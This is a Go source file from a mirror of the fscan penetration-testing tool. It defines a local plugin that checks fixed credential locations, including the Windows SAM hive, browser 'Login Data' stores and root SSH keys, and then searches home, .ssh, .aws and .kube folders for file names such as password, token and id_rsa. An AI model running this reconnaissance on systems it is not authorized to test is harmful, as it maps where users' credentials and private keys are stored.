mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
380 lines
11 KiB
Go
380 lines
11 KiB
Go
package fileinfo
|
|
|
|
import (
|
|
"context"
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
"github.com/shadow1ng/fscan/common"
|
|
"github.com/shadow1ng/fscan/plugins/base"
|
|
"github.com/shadow1ng/fscan/plugins/local"
|
|
)
|
|
|
|
// FileInfoPlugin 文件信息收集插件 - 使用简化架构
|
|
type FileInfoPlugin struct {
|
|
*local.BaseLocalPlugin
|
|
|
|
// 配置选项
|
|
blacklist []string
|
|
whitelist []string
|
|
sensitiveFiles []string
|
|
searchDirs []string
|
|
}
|
|
|
|
// NewFileInfoPlugin 创建文件信息收集插件 - 简化版本
|
|
func NewFileInfoPlugin() *FileInfoPlugin {
|
|
metadata := &base.PluginMetadata{
|
|
Name: "fileinfo",
|
|
Version: "1.0.0",
|
|
Author: "fscan-team",
|
|
Description: "本地敏感文件信息收集插件",
|
|
Category: "local",
|
|
Tags: []string{"local", "fileinfo", "sensitive"},
|
|
Protocols: []string{"local"},
|
|
}
|
|
|
|
plugin := &FileInfoPlugin{
|
|
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
|
blacklist: []string{
|
|
// 可执行文件和库
|
|
".exe", ".dll", ".so", ".dylib", ".sys", ".msi", ".com", ".scr",
|
|
// 图像和媒体文件
|
|
".png", ".jpg", ".jpeg", ".gif", ".bmp", ".ico", ".tiff", ".svg",
|
|
".mp3", ".mp4", ".avi", ".mov", ".wmv", ".wav", ".flac",
|
|
// 文档和归档文件(通常不含敏感信息)
|
|
".pdf", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx",
|
|
".zip", ".rar", ".7z", ".tar", ".gz",
|
|
// 代码和项目文件
|
|
".pyc", ".pyo", ".class", ".obj", ".o", ".lib", ".a",
|
|
// 系统和临时文件
|
|
".tmp", ".temp", ".log", ".cache", ".bak", ".swp",
|
|
".manifest", ".mui", ".nls", ".dat", ".bin", ".pdb",
|
|
// 系统目录
|
|
"windows\\system32", "windows\\syswow64", "windows\\winsxs",
|
|
"program files", "program files (x86)", "programdata",
|
|
"appdata\\local\\temp", "appdata\\local\\microsoft\\windows",
|
|
"locale", "winsxs", "windows\\sys", "node_modules", ".git",
|
|
"__pycache__", ".vs", ".vscode\\extensions", "dist\\bundled",
|
|
},
|
|
whitelist: []string{
|
|
// 中文关键词 - 更精确的匹配
|
|
"密码", "账号", "用户", "凭据", "证书", "私钥", "公钥",
|
|
"令牌", "口令", "认证", "授权", "登录",
|
|
// 英文关键词 - 敏感文件标识
|
|
"password", "passwd", "credential", "token", "auth", "login",
|
|
"key", "secret", "cert", "certificate", "private", "public",
|
|
"rsa", "ssh", "api_key", "access_key", "session",
|
|
// 配置文件 - 但更具体
|
|
".env", "database", "db_", "connection", "conn_",
|
|
// 特定敏感文件名
|
|
"id_rsa", "id_dsa", "authorized_keys", "known_hosts",
|
|
"shadow", "passwd", "credentials", "keystore",
|
|
},
|
|
}
|
|
|
|
// 设置平台支持
|
|
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
|
// 不需要特殊权限
|
|
plugin.SetRequiresPrivileges(false)
|
|
|
|
// 初始化敏感文件和搜索目录
|
|
plugin.initSensitiveFiles()
|
|
|
|
return plugin
|
|
}
|
|
|
|
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
|
func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
|
return p.ScanLocal(ctx, info)
|
|
}
|
|
|
|
// initSensitiveFiles 初始化敏感文件列表
|
|
func (p *FileInfoPlugin) initSensitiveFiles() {
|
|
homeDir, _ := os.UserHomeDir()
|
|
|
|
switch runtime.GOOS {
|
|
case "windows":
|
|
p.sensitiveFiles = []string{
|
|
"C:\\boot.ini",
|
|
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
|
|
"C:\\windows\\repair\\sam",
|
|
"C:\\windows\\system32\\config\\sam",
|
|
}
|
|
|
|
if homeDir != "" {
|
|
p.sensitiveFiles = append(p.sensitiveFiles, []string{
|
|
filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
|
filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
|
filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
|
}...)
|
|
}
|
|
|
|
case "linux", "darwin":
|
|
p.sensitiveFiles = []string{
|
|
"/etc/apache/httpd.conf",
|
|
"/etc/httpd/conf/httpd.conf",
|
|
"/etc/nginx/nginx.conf",
|
|
"/etc/hosts.deny",
|
|
"/etc/ssh/ssh_config",
|
|
"/etc/resolv.conf",
|
|
"/root/.ssh/authorized_keys",
|
|
"/root/.ssh/id_rsa",
|
|
"/root/.bash_history",
|
|
}
|
|
}
|
|
|
|
p.searchDirs = p.getOptimizedSearchDirs()
|
|
}
|
|
|
|
// getOptimizedSearchDirs 获取优化的搜索目录(避免扫描大型系统目录)
|
|
func (p *FileInfoPlugin) getOptimizedSearchDirs() []string {
|
|
var dirs []string
|
|
homeDir, _ := os.UserHomeDir()
|
|
|
|
switch runtime.GOOS {
|
|
case "windows":
|
|
dirs = []string{
|
|
// 用户目录的关键文件夹
|
|
homeDir,
|
|
filepath.Join(homeDir, "Desktop"),
|
|
filepath.Join(homeDir, "Documents"),
|
|
filepath.Join(homeDir, "Downloads"),
|
|
filepath.Join(homeDir, ".ssh"),
|
|
filepath.Join(homeDir, ".aws"),
|
|
filepath.Join(homeDir, ".azure"),
|
|
filepath.Join(homeDir, ".kube"),
|
|
// 公共目录的关键部分
|
|
"C:\\Users\\Public\\Documents",
|
|
"C:\\Users\\Public\\Desktop",
|
|
}
|
|
case "linux", "darwin":
|
|
dirs = []string{
|
|
homeDir,
|
|
filepath.Join(homeDir, "Desktop"),
|
|
filepath.Join(homeDir, "Documents"),
|
|
filepath.Join(homeDir, "Downloads"),
|
|
filepath.Join(homeDir, ".ssh"),
|
|
filepath.Join(homeDir, ".aws"),
|
|
filepath.Join(homeDir, ".azure"),
|
|
filepath.Join(homeDir, ".kube"),
|
|
"/opt",
|
|
"/usr/local/bin",
|
|
"/var/www",
|
|
}
|
|
}
|
|
|
|
// 过滤存在的目录
|
|
var validDirs []string
|
|
for _, dir := range dirs {
|
|
if _, err := os.Stat(dir); err == nil {
|
|
validDirs = append(validDirs, dir)
|
|
}
|
|
}
|
|
|
|
return validDirs
|
|
}
|
|
|
|
// ScanLocal 执行本地文件扫描 - 简化版本
|
|
func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
|
common.LogInfo("开始本地敏感文件扫描...")
|
|
|
|
foundFiles := make([]string, 0)
|
|
|
|
// 扫描固定位置的敏感文件
|
|
common.LogDebug("扫描固定敏感文件位置...")
|
|
for _, file := range p.sensitiveFiles {
|
|
if p.checkFile(file) {
|
|
foundFiles = append(foundFiles, file)
|
|
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file))
|
|
}
|
|
}
|
|
|
|
// 根据规则搜索敏感文件
|
|
common.LogDebug("按规则搜索敏感文件...")
|
|
searchFiles := p.searchSensitiveFiles()
|
|
foundFiles = append(foundFiles, searchFiles...)
|
|
|
|
// 获取系统信息
|
|
systemInfo := p.GetSystemInfo()
|
|
|
|
result := &base.ScanResult{
|
|
Success: true,
|
|
Service: "FileInfo",
|
|
Banner: fmt.Sprintf("检测完成: 发现 %d 个敏感文件", len(foundFiles)),
|
|
Extra: map[string]interface{}{
|
|
"files": foundFiles,
|
|
"total_count": len(foundFiles),
|
|
"platform": runtime.GOOS,
|
|
"system_info": systemInfo,
|
|
"search_dirs": len(p.searchDirs),
|
|
},
|
|
}
|
|
|
|
if len(foundFiles) > 0 {
|
|
common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles)))
|
|
for _, file := range foundFiles {
|
|
common.LogSuccess(fmt.Sprintf("发现: %s", file))
|
|
}
|
|
} else {
|
|
common.LogInfo("未发现敏感文件")
|
|
}
|
|
|
|
return result, nil
|
|
}
|
|
|
|
// GetLocalData 获取本地文件数据
|
|
func (p *FileInfoPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
|
data := make(map[string]interface{})
|
|
|
|
// 获取系统信息
|
|
data["platform"] = runtime.GOOS
|
|
data["arch"] = runtime.GOARCH
|
|
|
|
if homeDir, err := os.UserHomeDir(); err == nil {
|
|
data["home_dir"] = homeDir
|
|
}
|
|
|
|
if workDir, err := os.Getwd(); err == nil {
|
|
data["work_dir"] = workDir
|
|
}
|
|
|
|
return data, nil
|
|
}
|
|
|
|
// ExtractData 提取敏感文件数据
|
|
func (p *FileInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
|
// 文件信息收集插件主要是扫描,不进行深度利用
|
|
return &base.ExploitResult{
|
|
Success: true,
|
|
Output: "文件信息收集完成",
|
|
Data: data,
|
|
}, nil
|
|
}
|
|
|
|
// checkFile 检查文件是否存在
|
|
func (p *FileInfoPlugin) checkFile(path string) bool {
|
|
if _, err := os.Stat(path); err == nil {
|
|
return true
|
|
}
|
|
return false
|
|
}
|
|
|
|
// searchSensitiveFiles 搜索敏感文件(限制深度和数量)
|
|
func (p *FileInfoPlugin) searchSensitiveFiles() []string {
|
|
var foundFiles []string
|
|
maxFiles := 50 // 限制最多找到的文件数量
|
|
maxDepth := 4 // 限制递归深度
|
|
|
|
for _, searchPath := range p.searchDirs {
|
|
if len(foundFiles) >= maxFiles {
|
|
break
|
|
}
|
|
|
|
baseDepth := strings.Count(searchPath, string(filepath.Separator))
|
|
|
|
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
|
|
// 限制递归深度
|
|
currentDepth := strings.Count(path, string(filepath.Separator))
|
|
if currentDepth-baseDepth > maxDepth {
|
|
if info.IsDir() {
|
|
return filepath.SkipDir
|
|
}
|
|
return nil
|
|
}
|
|
|
|
// 跳过黑名单文件/目录
|
|
if p.isBlacklisted(path) {
|
|
if info.IsDir() {
|
|
return filepath.SkipDir
|
|
}
|
|
return nil
|
|
}
|
|
|
|
// 限制文件数量
|
|
if len(foundFiles) >= maxFiles {
|
|
return filepath.SkipDir
|
|
}
|
|
|
|
// 跳过过大的文件(可能不是配置文件)
|
|
if !info.IsDir() && info.Size() > 10*1024*1024 { // 10MB
|
|
return nil
|
|
}
|
|
|
|
// 检查白名单关键词
|
|
if !info.IsDir() && p.isWhitelisted(info.Name()) {
|
|
foundFiles = append(foundFiles, path)
|
|
common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
|
|
}
|
|
|
|
return nil
|
|
})
|
|
}
|
|
|
|
return foundFiles
|
|
}
|
|
|
|
// isBlacklisted 检查是否在黑名单中
|
|
func (p *FileInfoPlugin) isBlacklisted(path string) bool {
|
|
pathLower := strings.ToLower(path)
|
|
for _, black := range p.blacklist {
|
|
if strings.Contains(pathLower, black) {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
// isWhitelisted 检查是否匹配白名单
|
|
func (p *FileInfoPlugin) isWhitelisted(filename string) bool {
|
|
filenameLower := strings.ToLower(filename)
|
|
for _, white := range p.whitelist {
|
|
if strings.Contains(filenameLower, white) {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
// RegisterFileInfoPlugin 注册文件信息收集插件
|
|
func RegisterFileInfoPlugin() {
|
|
factory := base.NewSimplePluginFactory(
|
|
&base.PluginMetadata{
|
|
Name: "fileinfo",
|
|
Version: "1.0.0",
|
|
Author: "fscan-team",
|
|
Description: "本地敏感文件信息收集插件",
|
|
Category: "local",
|
|
Tags: []string{"local", "fileinfo", "sensitive"},
|
|
Protocols: []string{"local"},
|
|
},
|
|
func() base.Plugin {
|
|
return NewFileInfoPlugin()
|
|
},
|
|
)
|
|
|
|
base.GlobalPluginRegistry.Register("fileinfo", factory)
|
|
}
|
|
|
|
// GetInfo 获取插件信息
|
|
func (p *FileInfoPlugin) GetInfo() string {
|
|
var info strings.Builder
|
|
|
|
info.WriteString("本地敏感文件扫描插件\n")
|
|
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
|
info.WriteString(fmt.Sprintf("扫描目录: %d 个\n", len(p.searchDirs)))
|
|
info.WriteString(fmt.Sprintf("固定文件: %d 个\n", len(p.sensitiveFiles)))
|
|
info.WriteString("功能: 扫描系统敏感文件和配置信息\n")
|
|
|
|
return info.String()
|
|
}
|
|
|
|
// 插件注册函数
|
|
func init() {
|
|
RegisterFileInfoPlugin()
|
|
} |